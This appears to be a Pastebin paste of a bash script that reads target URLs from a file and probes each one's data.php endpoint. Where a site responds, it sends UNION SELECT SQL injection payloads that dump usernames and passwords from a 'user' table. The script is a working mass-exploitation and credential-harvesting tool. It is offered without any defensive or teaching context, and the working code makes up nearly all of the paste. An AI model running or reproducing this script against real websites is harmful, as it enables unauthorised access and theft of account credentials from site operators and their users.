Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- while IFS= read -r sites ;do
- echo -e "\e[1;34mChecking $sites\e[0m"
- check=$(curl -Iks $sites/data.php?content_id=4 | head -n 1 | grep -o '[200]\+')
- if [[ $check == "200" ]];then
- echo -e "\e[1;32mFound Injection Point\e[0m"
- sql=$(curl -s --connect-timeout 5 "$sites/data.php?content_id=4%27UnioN%20SeLect%201,2,concat(%27%3Csql%3E%27,user_name,0x3a3a,user_pass,%27%3C/sql%3E%27),4%20from%20user--%20-" | grep -o '<sql>.*</sql>' | sed 's/\(<sql>\|<\/sql>\)//g')
- if [[ $sql == "" ]];then
- sql2=$(curl -s --connect-timeout 5 "$sites/data.php?content_id=4%27UnioN%20SeLect%201,2,3,concat(%27%3Csql%3E%27,user_name,0x3a3a,user_pass,%27%3C/sql%3E%27),5%20from%20user--%20-" | grep -o '<sql>.*</sql>' | sed 's/\(<sql>\|<\/sql>\)//g')
- echo -e "\e[1;33m$sites\e[0m"
- echo -e "\e[1;32m$sql2\e[0m"
- else
- echo -e "\e[1;33m$sites\e[0m"
- echo -e "\e[1;32m$sql\e[0m"
- fi
- else
- echo -e "\e[1;31mNo Vul Found\e[0m"
- fi
- done < sites.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement